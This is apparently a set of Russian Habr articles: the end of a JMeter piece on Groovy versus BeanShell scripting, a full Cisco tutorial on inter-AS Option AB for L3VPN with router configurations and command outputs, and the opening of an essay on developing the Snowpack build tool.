Подробнее см. [тут](http://groovy-lang.org/differences.html#_string_and_character_literals). В строках Groovy есть возможность использовать выражения типа ${expression}, которые автоматически раскрываются внутри строк в значение expression. Это довольно удобный момент, но он удивительным образом совпадает по синтаксису со ссылкой на переменные JMeter. Поэтому если вы пишете в Groovy
```
currId = 123
log.info("Current ID: ${currId}")
```
и при этом в текущем потоке определена обычная переменная JMeter c именем currId, то её значение будет подставлено непосредственно в скрипт. Кроме того, подставлено один раз, т.к. после этого код будет скомпилирован, а результат закэширован. Поэтому надо следить, чтобы имена переменных, используемые в таких выражениях, не пересекались с переменными JMeter. А если вам действительно нужно передать значение в сэмплер JSR223, то нужно использовать для этого поле Parameters.
При использовании внешнего файла в качестве исходного кода подстановок переменных JMeter не происходит (они происходят только в полях), но использовать Parameters можно.
Если вы не планируете использовать возможности строк Groovy, то желательно использовать строки Java (т.е. в одинарных кавычках). К тому же это будет лучше для производительности, хотя и копейки, конечно.
#### Заключение
Поведение сэмплера BeanShell иллюстрирует типичную проблему интерпретатора: низкая скорость работы интерпретируемого кода. Если у вас в BeanShell всего несколько строк, вы, вероятно, не заметите проблем, но точно заметите, если кода много или если там есть циклы. Точно такая же проблема [наблюдалась](http://habrahabr.ru/post/231875/) и в интерпретаторе LoadRunner.
Если у вас пока не возникало проблем с запуском теста, использующего BeanShell, то я рекомендовал бы перестраховаться и не создавать их себе в будущем. Вместо этого лучше сразу использовать JSR223 + Groovy, таким образом, уменьшая вероятность появления проблем с производительностью нагрузочных станций.
Важные моменты, которые стоит вынести из статьи.
* Не следует использовать BeanShell Sampler, вместо него пользуемся JSR223 + Groovy.
* JSR223 + java = тот же BeanShell, поэтому см. п. 1.
* Если есть возможность унифицировать код нескольких JSR223, то используем внешний файл. Помимо того, что устранение дублирования кода само по себе есть хороший стиль программирования, при этом не нужно заботиться о Compilation Cache Key.
* Если пользуемся встроенным в сэмплер скриптом, не забываем про Compilation Cache Key.
* Если нужен аналог bsh.shared, используем приведённое выше решение. | https://habr.com/ru/post/250731/ | null | ru | null |
# inter-AS Option AB (D)
Для того, чтобы прокинуть L3VPN между разными автономными системами, необходимо использовать опции протокола BGP — A, B или C. Если кто не знает, как работают эти опции, то прошу [сюда](https://habrahabr.ru/post/302600/). У каждой из данных опций есть как плюсы, так и минусы. Остановимся на каждой поподробнее:
**Option A**.
Смысл данной опции заключается в том, что на ASBR-рах поднимаются отдельные vrf для каждого клиентского vpn и создается сабинтерфейс, через который происходит обмен чистыми ip маршрутами и, через эти же сабинтерфейсы, происходит форвардинг клиентского трафика. Никакого mpls между ASBR нет. Взаимодействие между ASBR происходит, как между PE и CE маршрутизаторами.
Недостатки данной опции более чем очевидны:
— необходимо помимо создания vrf на PE маршрутизаторах, создавать vrf на ASBR-ах;
— для обмена маршрутами между ASBR необходимо в каждой vrf поднимать протокол маршрутизации, естественно большое количество, к примеру, bgp-сессий не благоприятно сказывается на производительности маршрутизатора;
Но, как не удивительно, у данной схемы есть и плюсы:
+ так как между ASBR идет чистый ip трафик, без mpls, то можно реализовать qos и фильтрацию на основе ip заголовка;
+ трафик клиентов четко разделен;
+ данная опция является самой защищенной из всех (к примеру, если вы можете поднять данную опцию между разными провайдерами если не хотите инжектировать чужие маршруты в свою автономную систему).
Но все все таки, минусы в данном случае перевешивают плюсы (представьте, что вам надо прокинуть 50-60 vpn-ов – желание использовать опцию А сразу же отпадает). Поэтому, находясь в своем уме, вряд ли какой то инженер захочет в нынешних условиях поднимать опцию А.
**Option B**.
Смысл данной опции заключается в том, что ASBR обмениваются vpnv4 маршрутами. Получив vpnv4 маршрут из соседней AS, ASBR генерирует новую метку, ставит next-hop-ом себя (option B-a) или не меняя next-hop (option B-b) передает маршруты на рефлектор (или PE маршрутизаторы сразу, в зависимости от вашей топологии), после чего у всех PE маршрутизаторов есть необходимые vpnv4 маршруты.
Плюсы данного подхода:
+ необходима всего одна BGP vpnv4 сессия для передачи маршрутов между автономными системами, ASBR не нагружен протоколами маршрутизации в vrf;
+ так как все префиксы передается в рамках одной сессии, то данный подход имеет хорошую масштабируемость (в сравнении с опцией А);
+ при включении нового клиента нет необходимости менять конфигурацию на ASBR (кроме фильтров естественно);
Минусы:
— трафик клиентов передается в общем потоке с mpls меткой и применить qos или фильтрацию на основе ip заголовка не представляется возможным;
— ASBR нагружен помимо форвардинга трафика, еще и перевариванием большого количества vpnv4 маршрутов;
**Option C.**
Смысл данной опции заключается в том, что обмен vpnv4 маршрутами происходит между роутрефлекторами разных автономных систем по ebgp-multihop сессии. ASBR-ры, в свою очередь, передают в соседние автономные системы маршруты с метками (bgp labeled-unicast) до лупбеков роутрефлекторов и PE маршрутизаторов. В итоге с помощью меток, полученных от ASBR, PE маршрутизаторы могут построить end-to-end lsp между собой, а метки vrf между всеми PE маршрутизаторами распределены с помощью роутрефлекторов.
Плюсы данной опции:
+ очень высокую масштабируемость
+ не нагружает ASBR лишней работой (в сравнении с другими опциями)
Но есть и минусы:
— как и в опции В, клиентский трафик между ASBR идет в общем потоке, правда уже с двумя mpls метками, что не дает применить qos и фильтрацию трафика между ASBR на основе ip заголовка.
Как совместить в одном подходе и возможность применения фильтров/qos и в то же время не нагрузить ASBR лишней работой по поддержанию большого количества bgp (ospf, isis, rip)-соседств, а инженеров избавить от сложных конфигураций на ASBR?
Итак, сегодня речь пойдет об **inter-AS Option AB (D)**.
Данная опция, как и опция А, подразумевает создание на ASBR-рах отдельного vrf на каждый vpn, а так же создание отдельного сабинтерфейса в каждом vrf, который будет использоваться для передачи клиентского трафика. Пока что все так же как и в стандартной опции А. Существенное различие в том, что никакой протокол маршрутизации в vrf (на ASBR) не запускается, а созданные сабинтерфейсы используются только для форвардинга трафика. Как же будет производиться обмен маршрутами? Для этой цели, как в опции В, создается единственная vpnv4 сессия между ASBR-ми, по которой и производится передача vpnv4 маршрутов. Собственно, можно сказать, что мы одновременно понимаем и опцию А и опцию В между двумя ASBR. Давайте теперь перейдем к детальному описанию control plane, что бы все встало на свои места:
1. PE2 генерирует vpnv4 маршрут и передает его на роутрефлектор RR2.
2. Роутрефлектор производит валидацию полученного маршрута, и передает его своим клиентам. В нашем случае на ASBR2.
3. ASBR2 получает vpnv4 маршрут и инсталирует его в таблицу маршрутизации соответственного vrf, в нашем случае vrf VPN1-ASBR2, согласно сконфигурированному route-target import.
4. ASBR2 генерирует новый vpnv4 маршрут, навешивает на него excommunity (route-target), которое указано на экспорт в vrf VPN1-ASBR2 и передает маршрут на ASBR1. Next-hop-ом, как и при обычной опции В устанавливается адрес маршрутизатора ASBR2 (адрес интерфейса, который является сорсом для данной vpnv4 сессии).
5. ASBR1, принимает данный маршрут и согласно route-target import, устанавливает данный маршрут в таблицу маршрутизации соответствующего vrf, в нашем случае vrf VPN1-ASBR1, производя замену next-hop, согласно указанному в vrf VPN1-ASBR1 (inter-as hybrid next-hop). Замена производится на адрес ASBR2 (стык ASBR2(vrf VPN1-ASBR2)==> ASBR1 (vrf VPN1-ASBR1)).
6. ASBR1 генерирует новый vpnv4 маршрут, навешивает на него excommunity (route-target), которое указано на экспорт в vrf VPN1-ASBR1 и отправляет маршрут на роутрефлектор RR1 (next-hop — лупбек ASBR1)
7. RR1 анонсирует маршрут на PE1.
8. PE1, получив маршрут от RR1, инсталирует его в таблицу маршрутизации соответствующего vrf.
Основным в данной опции является то, что vpnv4 маршруты на ASBR сначала попадает в vrf и уже из данной vrf анонсируется дальше, причем анонсируется с тем excommunity, которое указанно в vrf на экспорт, и оно может отличаться от того excommunity, c которым данный маршрут изначально анонсировался). Схематично это выглядит вот так:
То есть передача vpnv4 маршрута из одной AS в другую происходит в такой последовательности: PE2==>RR2==>ASBR2==>ASBR2 (vrf VPN1-ASBR2)==>ASBR1==>ASBR1 (vrf VPN1-ASBR1)==>RR1==>PE1.
Итак, рассмотрим все вышесказанное на примере.
На PE2 созданы два vrf:
```
ip vrf VPN1-CE2
rd 2:1
route-target export 2:100
route-target import 1:100
route-target import 2:100
!
ip vrf VPN2-CE2
rd 2:2
route-target export 2:200
route-target import 1:200
route-target import 2:200
```
Мы будем рассматривать сигнализацию маршрута 10.0.1.0/24 из vrf VPN1-CE2.
Ниже представлен vpnv4, маршрут сгенерированный PE2:
```
PE2#sh ip bgp vpnv4 rd 2:1 10.0.1.0/24
BGP routing table entry for 2:1:10.0.1.0/24, version 2
Paths: (1 available, best #1, table VPN1-CE2)
Advertised to update-groups:
3
Local
0.0.0.0 from 0.0.0.0 (10.1.10.1)
Origin incomplete, metric 0, localpref 100, weight 32768, valid, sourced, best
Extended Community: RT:2:100 OSPF DOMAIN ID:0x0005:0x000000020200
OSPF RT:0.0.0.0:2:0 OSPF ROUTER ID:10.0.1.1:0
mpls labels in/out IPv4 VRF Aggr:22/nolabel(VPN1-CE2)
```
Мы видим, что для PE2 маршрут является локальным и для данного префикса сгенерированна метка 22.
Теперь PE2 должен отправить данный маршрут на роутрефлектор. Проверим:
```
PE2#show ip bgp vpnv4 rd 2:1 neighbors 10.1.10.10 advertised-routes
BGP table version is 13, local router ID is 10.1.10.1
Status codes: s suppressed, d damped, h history, * valid, > best, i - internal,
r RIB-failure, S Stale
Origin codes: i - IGP, e - EGP, ? - incomplete
Originating default network 0.0.0.0
Network Next Hop Metric LocPrf Weight Path
Route Distinguisher: 2:1 (default for vrf VPN1-CE2)
*> 10.0.1.0/24 0.0.0.0 0 32768 ?
*> 10.1.1.2/32 10.0.1.2 2 32768 ?
Total number of prefixes 2
```
Мы анонсируем два маршрута (10.1.1.2 — это лупбек маршрутизатора VPN1-CE2, который получен через ospf). Дальше маршрут передается на ASBR2:
```
RR2#sh ip bgp vpnv4 rd 2:1 neighbors 10.1.10.3 advertised-routes | i 10.
BGP table version is 37, local router ID is 10.1.10.10
*>i10.0.1.0/24 10.1.10.1 0 100 0 ?
*>i10.1.1.2/32 10.1.10.1 2 100 0 ?
```
```
ASBR2#sh ip bgp vpnv4 rd 2:1 10.0.1.0/24
BGP routing table entry for 2:1:10.0.1.0/24, version 100
Paths: (1 available, best #1, no table)
Not advertised to any peer
Local
10.1.10.1 (metric 3) from 10.1.10.10 (10.1.10.10)
Origin incomplete, metric 0, localpref 100, valid, internal, best
Extended Community: RT:2:100 OSPF DOMAIN ID:0x0005:0x000000020200
OSPF RT:0.0.0.0:2:0 OSPF ROUTER ID:10.0.1.1:0
Originator: 10.1.10.1, Cluster list: 10.1.10.10
mpls labels in/out nolabel/22
```
У нас не включена опция no bgp default route-target filter, но на ASBR2 созданы vrf:
```
ip vrf VPN1-ASBR2
rd 2:10001
route-target export 2:100
route-target import 1:100
route-target import 2:100
inter-as-hybrid next-hop 10.1.0.1
!
ip vrf VPN2-ASBR2
rd 2:10002
route-target export 2:200
route-target import 1:200
route-target import 2:200
inter-as-hybrid next-hop 20.1.0.1
```
Согласно route-target import 2:100 маршруты попадают в vrf VPN1-ASBR2.
Примечание: в конфигурации vrf появилась новая команда: inter-as-hybrid next-hop. Ее назначение будет рассмотрено далее.
Проверим, установлен ли наш маршрут к сети 10.0.1.0/24 в таблицу маршрутизации vrf VPN1-ASBR2:
```
ASBR2#sh ip route vrf VPN1-ASBR2 10.0.1.0
Routing Table: VPN1-ASBR2
Routing entry for 10.0.1.0/24
Known via "bgp 2", distance 200, metric 0, type internal
Last update from 10.1.10.1 00:50:46 ago
Routing Descriptor Blocks:
* 10.1.10.1 (default), from 10.1.10.10, 00:50:46 ago
Route metric is 0, traffic share count is 1
AS Hops 0
MPLS label: 22
MPLS Flags: MPLS Required
```
Отлично, маршрут есть. Пока что все как в опции А. Но в опции А дальше мы должны анонсировать чистые ip маршруты из одного vrf в другой с использованием специально запущенного в vrf протокола маршрутизации. Но в опции АВ маршруты между ASBR передаются по bgp vpnv4 сессии между ASBR-ми. Посмотрим, что мы анонсируем на ASBR1 по bgp сессии между ASBR-ми:
```
ASBR2#sh ip bgp vpnv4 all neighbors 10.2.0.1 advertised-routes
BGP table version is 109, local router ID is 10.1.10.3
Status codes: s suppressed, d damped, h history, * valid, > best, i - internal,
r RIB-failure, S Stale
Origin codes: i - IGP, e - EGP, ? - incomplete
Originating default network 0.0.0.0
Network Next Hop Metric LocPrf Weight Path
Route Distinguisher: 2:10001 (default for vrf VPN1-ASBR2)
*>i10.0.1.0/24 10.1.10.1 0 100 0 ?
*>i10.1.1.2/32 10.1.10.1 2 100 0 ?
Route Distinguisher: 2:10002 (default for vrf VPN2-ASBR2)
*>i20.0.1.0/24 10.1.10.1 0 100 0 ?
*>i20.1.1.2/32 10.1.10.1 2 100 0 ?
Total number of prefixes 4
```
Мы анонсируем 4 маршрута, но у них уже не оригинальный rd. Анонс с PE1 был с rd 2:1, а теперь мы анонсируем маршруты с rd 2:10001. То есть маршрут был заново сгенерирован на ASBR2. Что бы это работало, необходимо в настройках bgp сессии между ASBR дать команду: inter-as-hybrid. Данная команда указывает на то, что данная сессия предназначена для передачи vpnv4 маршрутов для опции AB ( в терминах Сиско — созданный на ASBR vrf называется option AB vrf).
```
ASBR2#sh configuration | b address-family vpnv4
address-family vpnv4
neighbor 10.1.10.10 activate
neighbor 10.1.10.10 send-community extended
neighbor 10.2.0.1 activate
neighbor 10.2.0.1 send-community extended
neighbor 10.2.0.1 inter-as-hybrid
exit-address-family
```
Продолжим. Проверим маршруты до сети 10.0.1.0/24 на ASBR1:
```
ASBR1#sh ip bgp vpnv4 all 10.0.1.0/24
BGP routing table entry for 1:10001:10.0.1.0/24, version 98
Paths: (1 available, best #1, table VPN1-ASBR1)
Advertised to update-groups:
1
2, imported path from 2:10001:10.0.1.0/24
10.1.0.2 (via VPN1-ASBR1) from 10.2.0.2 (10.1.10.3)
Origin incomplete, localpref 100, valid, external, best
Extended Community: RT:2:100 OSPF DOMAIN ID:0x0005:0x000000020200
OSPF RT:0.0.0.0:2:0 OSPF ROUTER ID:10.0.1.1:0
mpls labels in/out 31/19
BGP routing table entry for 2:10001:10.0.1.0/24, version 94
юPaths: (1 available, best #1, no table)
Not advertised to any peer
2
10.2.0.2 from 10.2.0.2 (10.1.10.3)
Origin incomplete, localpref 100, valid, external, best
Extended Community: RT:2:100 OSPF DOMAIN ID:0x0005:0x000000020200
OSPF RT:0.0.0.0:2:0 OSPF ROUTER ID:10.0.1.1:0
mpls labels in/out nolabel/19
```
В выводе у нас два маршрута, один с next-hop 10.2.0.2 — это оригинальный vpnv4 маршрут, полученный от ASBR2; второй с next-hop 10.1.0.2 (via VPN1-ASBR1) — уже измененный маршрут, который будет использоваться для передачи трафика и инсталироваться в таблицу маршрутизации VPN1-ASBR1.
Прошу обратить внимание на то, что ASBR2 как и положено ASBR-ру в опции В сгенерировал метку: в маршруте на ASBR1 есть метка на out: “mpls labels in/**out** 31/**19**”. Но данная метка не будет использована для передачи трафика. Это видно из маршрута, который импортируется в таблицу маршрутизации vrf VPN1-ASBR1: в маршруте mpls метки нет: “MPLS label: none” (см вывод ниже):
```
ASBR1#sh ip rou vrf VPN1-ASBR1 10.0.1.0
Routing Table: VPN1-ASBR1
Routing entry for 10.0.1.0/24
Known via "bgp 1", distance 20, metric 0
Tag 2, type external
Last update from 10.1.0.2 on GigabitEthernet3/0.10, 01:14:18 ago
Routing Descriptor Blocks:
* 10.1.0.2, from 10.2.0.2, 01:14:18 ago, via GigabitEthernet3/0.10
Route metric is 0, traffic share count is 1
AS Hops 1
Route tag 2
MPLS label: none
```
Замена next-hop была произведена благодаря команде inter-as-hybrid next-hop на ASBR1:
```
ip vrf VPN1-ASBR1
rd 1:10001
route-target export 1:100
route-target import 1:100
route-target import 2:100
inter-as-hybrid next-hop 10.1.0.2
```
Если данную команду не указать, то в vrf будут импортироваться маршрут с оригинальным next-hop-ом из полученного vpnv4 маршрута от ASBR2 (то есть next-hop-ом будет адрес ASBR2, который используется как сорс для eBGP сессии, как в обычной опции В). В нашем случае на ASBR1 мы имеем вот такие интерфейсы:
```
ASBR1#sh int description | i Gi3
Gi3/0 up up "to ASBR2 | AS2"
Gi3/0.2 up up "to ASBR2 | vpnv4 routes only"
Gi3/0.10 up up "for VPN1 only"
Gi3/0.20 up up "for VPN2 only"
ASBR1#sh ip int brief | i 3/0
GigabitEthernet3/0 unassigned YES NVRAM up up
GigabitEthernet3/0.2 10.2.0.1 YES NVRAM up up
GigabitEthernet3/0.10 10.1.0.1 YES NVRAM up up
GigabitEthernet3/0.20 20.1.0.1 YES NVRAM up up
```
Нам надо что бы трафик vpn1 форвардился через интерфейс GigabitEthernet3/0.10 (соответственно vpn2 — через GigabitEthernet3/0.20). Поэтому в настройках vrf next-hop-ом указан адрес 10.1.0.2 — интерфейс GigabitEthernet3/0.10 на ASBR2, который находится в vrf VPN1-ASBR2:
```
ASBR2#sh run int gigabitEthernet 3/0.10
Building configuration...
Current configuration : 165 bytes
!
interface GigabitEthernet3/0.10
description "for VPN1 forwarding"
encapsulation dot1Q 10
ip vrf forwarding VPN1-ASBR2
ip address 10.1.0.2 255.255.255.252
end
```
Двигаемся дальше. Из vrf VPN1-ASBR1 данный маршрут должен быть анонсирован на роутрефлектор:
```
ASBR1#sh ip bgp vpnv4 all neighbors 10.0.10.10 advertised-routes
BGP table version is 101, local router ID is 10.0.10.3
Status codes: s suppressed, d damped, h history, * valid, > best, i - internal,
r RIB-failure, S Stale
Origin codes: i - IGP, e - EGP, ? - incomplete
Originating default network 0.0.0.0
Network Next Hop Metric LocPrf Weight Path
Route Distinguisher: 1:10001 (default for vrf VPN1-ASBR1)
*> 10.0.1.0/24 10.1.0.2 0 2 ?
*> 10.1.1.2/32 10.1.0.2 0 2 ?
Route Distinguisher: 1:10002 (default for vrf VPN2-ASBR1)
*> 20.0.1.0/24 20.1.0.2 0 2 ?
*> 20.1.1.2/32 20.1.0.2 0 2 ?
Total number of prefixes 4
```
Думаю вы уже заметили, что это новый маршрут, сгенерированный ASBR1, так как вот маршруты, которые ASBR1 получил (обратите внимание на rd):
```
Route Distinguisher: 2:10001 (default for vrf VPN1-ASBR2)
*>i10.0.1.0/24 10.1.10.1 0 100 0 ?
*>i10.1.1.2/32 10.1.10.1 2 100 0 ?
```
А вот маршруты, который анонсированы с ASBR1:
```
Route Distinguisher: 1:10001 (default for vrf VPN1-ASBR1)
*> 10.0.1.0/24 10.1.0.2 0 2 ?
*> 10.1.1.2/32 10.1.0.2 0 2 ?
```
Обратите внимание на rd: был 2:10001, теперь 1:10001. Посмотрим, какие vrf настроены на ASBR1:
```
ip vrf VPN1-ASBR1
rd 1:10001
route-target export 1:100
route-target import 1:100
route-target import 2:100
inter-as-hybrid next-hop 10.1.0.2
!
ip vrf VPN2-ASBR1
rd 1:10002
route-target export 1:200
route-target import 1:200
route-target import 2:200
inter-as-hybrid next-hop 20.1.0.2
```
Думаю теперь понятно, что маршрут был сгенерирован ASBR1.
ASBR1 сгенерировал метку 31 для данного префикса:
```
RR1#sh ip bgp vpnv4 all 10.0.1.0/24
BGP routing table entry for 1:10001:10.0.1.0/24, version 38
Paths: (1 available, best #1, no table)
Advertised to update-groups:
1
2, (Received from a RR-client)
10.0.10.3 (metric 20) from 10.0.10.3 (10.0.10.3)
Origin incomplete, metric 0, localpref 100, valid, internal, best
Extended Community: RT:1:100 OSPF DOMAIN ID:0x0005:0x000000020200
OSPF RT:0.0.0.0:2:0 OSPF ROUTER ID:10.0.1.1:0
mpls labels in/out nolabel/31
```
Далее все стандартно. Маршрут передается c RR1 на PE1:
```
RR1#sh ip bgp vpnv4 rd 1:10001 neighbors 10.0.10.1 advertised-routes
BGP table version is 41, local router ID is 10.0.10.10
Status codes: s suppressed, d damped, h history, * valid, > best, i - internal,
r RIB-failure, S Stale
Origin codes: i - IGP, e - EGP, ? - incomplete
Originating default network 0.0.0.0
Network Next Hop Metric LocPrf Weight Path
Route Distinguisher: 1:10001
*>i10.0.1.0/24 10.0.10.3 0 100 0 2 ?
*>i10.1.1.2/32 10.0.10.3 0 100 0 2 ?
Total number of prefixes 2
```
А PE1 инсталирует его таблицу маршрутизации соответствующего vrf:
```
PE1#sh ip route vrf VPN1-CE1 10.0.1.0
Routing Table: VPN1-CE1
Routing entry for 10.0.1.0/24
Known via "bgp 1", distance 200, metric 0
Tag 2, type internal
Redistributing via ospf 1
Advertised by ospf 1 subnets
Last update from 10.0.10.3 01:45:25 ago
Routing Descriptor Blocks:
* 10.0.10.3 (default), from 10.0.10.10, 01:45:25 ago
Route metric is 0, traffic share count is 1
AS Hops 1
Route tag 2
MPLS label: 31
MPLS Flags: MPLS Required
```
На картинке ниже изображен процесс сигнализирования метки vpn.
Теперь перейдем к **data plane**. Сделаем трассировку между CE маршрутизаторами:
```
CE1-VPN1#ping 10.0.1.2
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 10.0.1.2, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 72/101/144 ms
CE1-VPN1#traceroute 10.0.1.2
Type escape sequence to abort.
Tracing the route to 10.0.1.2
1 10.0.0.1 32 msec 12 msec 8 msec
2 10.0.2.2 [MPLS: Labels 17/31 Exp 0] 48 msec 44 msec 48 msec
3 10.1.0.1 [MPLS: Label 31 Exp 0] 44 msec 40 msec 12 msec
4 10.1.0.2 60 msec 48 msec 44 msec
5 10.1.0.2 [MPLS: Labels 17/22 Exp 0] 72 msec 88 msec 68 msec
6 10.0.1.1 80 msec 40 msec 56 msec
7 10.0.1.2 100 msec 84 msec 80 msec
```
И тоже самое для vpn2:
```
VPN2-CE1#ping 20.0.1.2
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 20.0.1.2, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 92/120/144 ms
VPN2-CE1#traceroute 20.0.1.2
Type escape sequence to abort.
Tracing the route to 20.0.1.2
1 20.0.0.1 64 msec 16 msec 16 msec
2 10.0.0.2 [MPLS: Labels 16/32 Exp 0] 44 msec 40 msec 40 msec
3 20.1.0.1 [MPLS: Label 32 Exp 0] 12 msec 28 msec 24 msec
4 20.1.0.2 52 msec 44 msec 40 msec
5 10.1.0.2 [MPLS: Labels 17/23 Exp 0] 40 msec 48 msec 64 msec
6 20.0.1.1 60 msec 48 msec 84 msec
7 20.0.1.2 76 msec 72 msec 76 msec
```
PE1 получает IP пакет от клиентского маршрутизатора и согласно своей таблицы маршрутизации производит навешивание двух меток — 31 (метка vrf) и 17 или 16 (транспортная метка до ASBR1 в зависимости от того, как PE1 балансирует трафик):
```
PE1#sh ip route vrf VPN1-CE1 10.0.1.0
Routing Table: VPN1-CE1
Routing entry for 10.0.1.0/24
Known via "bgp 1", distance 200, metric 0
Tag 2, type internal
Redistributing via ospf 1
Advertised by ospf 1 subnets
Last update from 10.0.10.3 01:45:25 ago
Routing Descriptor Blocks:
* 10.0.10.3 (default), from 10.0.10.10, 01:45:25 ago
Route metric is 0, traffic share count is 1
AS Hops 1
Route tag 2
MPLS label: 31
MPLS Flags: MPLS Required
PE1#sh mpls forwarding-table 10.0.10.3
Local Outgoing Prefix Bytes Label Outgoing Next Hop
Label Label or Tunnel Id Switched interface
18 16 10.0.10.3/32 0 Gi1/0 10.0.0.2
17 10.0.10.3/32 0 Gi2/0 10.0.2.2
```
Судя по трассировке выше, PE1 выбирает маршрут через P1.
P1, получив пакет с меткой 17, производит снятие данной (верхней) метки и отправку пакета в интерфейс Gi1/0 (линк в сторону ASBR1):
```
P1#sh mpls forwarding-table labels 17
Local Outgoing Prefix Bytes Label Outgoing Next Hop
Label Label or Tunnel Id Switched interface
17 Pop Label 10.0.10.3/32 11590 Gi1/0 10.0.3.1
```
ASBR1 обрабатывает пакет как обычный PE маршрутизатор — снимает метку и отправляет в интерфейс Gi3/0.10 чистый IP пакет:
```
ASBR1#sh mpls forwarding-table labels 31
Local Outgoing Prefix Bytes Label Outgoing Next Hop
Label Label or Tunnel Id Switched interface
31 No Label 10.0.1.0/24[V] 1712 Gi3/0.10 10.1.0.2
```
Получив данный пакет, ASBR2, работает как PE маршрутизатор, получивший пакет от клиентского CE маршрутизатора — навешивает метку vrf (22) и транспортную метку (17 или 19 — опять эквивалентные пути и судя по трассировке пакет идет на RR2):
```
ASBR2# sh ip route vrf VPN1-ASBR2 10.0.1.0
Routing Table: VPN1-ASBR2
Routing entry for 10.0.1.0/24
Known via "bgp 2", distance 200, metric 0, type internal
Last update from 10.1.10.1 01:51:32 ago
Routing Descriptor Blocks:
* 10.1.10.1 (default), from 10.1.10.10, 01:51:32 ago
Route metric is 0, traffic share count is 1
AS Hops 0
MPLS label: 22
MPLS Flags: MPLS Required
ASBR2#sh mpls forwarding-table 10.1.10.1
Local Outgoing Prefix Bytes Label Outgoing Next Hop
Label Label or Tunnel Id Switched interface
23 17 10.1.10.1/32 0 Gi1/0 10.1.0.2
19 10.1.10.1/32 0 Gi2/0 10.1.2.2
```
RR2, как и положено транзитному mpls маршрутизатору на предпоследнем хопе, снимает верхнюю метку и отправляет пакет на PE2:
```
RR2#sh mpls forwarding-table labels 17
Local Outgoing Prefix Bytes Label Outgoing Next Hop
Label Label or Tunnel Id Switched interface
17 Pop Label 10.1.10.1/32 7242 Gi2/0 10.1.1.1
```
Ну а PE2 знает, что метка 22 указывает на то, что надо сделать ip lookup в vrf VPN1-CE2:
```
PE2#show mpls forwarding-table labels 22
Local Outgoing Prefix Bytes Label Outgoing Next Hop
Label Label or Tunnel Id Switched interface
22 Pop Label IPv4 VRF[V] 8150 aggregate/VPN1-CE2
```
Далее пакет улетает на клиентский CE маршрутизатор. Все метки и операции с ними представлены на рисунке ниже.
В итоге мы получили гибрид опции А и В, в которой мы можем использовать qos и фильтрацию клиентского трафика между ASBR-рами как в опции А, но в тоже время хоть нам и придется сконфигурировать vrf для каждого vpn на ASBR и сделать отдельный стык, но нет необходимости в отдельном процессе протокола маршрутизации в каждом vrf, что естественно снижает нагрузку на ASBR, который, как в опции В, должен поддерживать всего одну vpnv4 сессию с соседним ASBR-ом.
Ну и в конце хотелось бы акцентировать внимание на двух важных командах:
inter-as-hybrid next-hop в иерархии ip vrf — данная команда необходима для подмены next-hop, если ее не указать, то в vrf будет импортироваться маршрут с next-hop в стык, на котором запущена опция В.
neighbor 10.2.0.1 inter-as-hybrid — данная команда указывает на то, что между пирами установлена bgp сессия для обмена vpnv4 маршрутами для Inter-AS Option AB. Данная команда дает возможность сначала импортировать маршруты в vrf, а потом экспортировать маршруты из этого vrf дальше (меняя rd и при необходимости community).
Важно, что обе эти опции должны быть включены, иначе у вас или ничего не заработает или заработает, но не так как должно работать.
В настоящее время есть только драфт RFC, посвященный опции AB. В данной статье мы познакомились с опцией АВ на примере реализации ее компанией Cisco. Пишите в личку если найдете какие либо недостатки или считаете, что что то надо дополнить/описать получше.
Всем спасибо за внимание! | https://habr.com/ru/post/303386/ | null | ru | null |
# 5 вещей, которые я узнал, доведя Snowpack до 20000 GitHub-звёзд
Меня зовут [Фред](https://twitter.com/FredKSchott). Я — создатель [Snowpack](https://snowpack.dev/). Для тех, кто не знаком с этим проектом, расскажу в двух словах о том, что он собой представляет. Это — инструмент для сборки фронтенда веб-сайтов, который, по существу, дал дорогу движению «[unbundled web development](https://www.youtube.com/watch?v=aee93s9TZVc)» («веб-разработка, основанная на использовании отдельных компонентов»), которое в наши дни поддерживают Snowpack, Vite, SvelteKit и другие современные инструменты для веб-разработки.
В этом материале я хочу рассказать о пяти вещах, которые я узнал, доведя Snowpack от исходного коммита до почти 20000 звёзд на GitHub и до более чем миллиона загрузок.
[](https://habr.com/ru/company/ruvds/blog/580276/)
Этот материал предназначен для всех, кто интересуется опенсорсным программным обеспечением. То, что я вынес из своего опыта, и то, о чём я тут расскажу, адресовано всем, кто заинтересован в запуске собственного опенсорсного проекта, или в том, чтобы сделать вклад в существующий проект.
Мой рассказ состоит из двух частей. В этом первом материале я уделяю основное внимание тому, чему научился, создавая Snowpack с нуля и находя наших первых пользователей. Во второй части я расскажу о том, как выглядит поддержка популярного растущего опенсорсного проекта.
Предыстория
-----------
Пару лет назад я начал работу над экспериментальным JavaScript-проектом под кодовым названием [Pika](https://www.pika.dev/). Его талисманом была симпатичная синяя мышка, в этом проекте царила позитивная атмосфера, которая способствовала объединению в его рамках множества более мелких экспериментальных проектов. Общая цель этого проекта лучше всего может быть выражена [так](https://www.pika.dev/about): «ES-модули — это замечательная новая технология. Давайте решать с её помощью больше различных задач».
Первый год работы над проектом Pika, возможно, был самым продуктивным годом в моей жизни. Я создал `@pika/pack` (инструмент для работы над npm-пакетами, рассчитанный на авторов таких пакетов), Pika CI (GitHub-экшн, который позволяет применять команды `npm install` или даже `import()` к любому PR на GitHub), неудачный браузерный редактор кода. Я создал и JavaScript-CDN нового поколения, которая, в итоге, превратилась в [Skypack](https://www.skypack.dev/).
Среди прочих моих разработок сильнее всего выделялся проект `@pika/web`. Он позволяет устанавливать любой npm-пакет так, чтобы его можно было бы запускать непосредственно в браузере, не используя при этом бандлер (например — `react -> /react.js`). Этот проект, вероятно, известен вам под его новым именем (Snowpack).
Ниже я расскажу о пяти вещах, которые я узнал, когда работал над проектом Snowpack, развивал его, двигался от первого коммита до официального релиза версии 1.0 и находил его первых пользователей.
Урок 1: начните с поиска решения какой-то собственной проблемы
--------------------------------------------------------------
В самом начале проект Snowpack представлял собой инструмент для преобразования любого npm-пакета в отдельный JavaScript-файл, код которого можно запустить в браузере. Звучит скучновато. Правда? Нет, не правда!
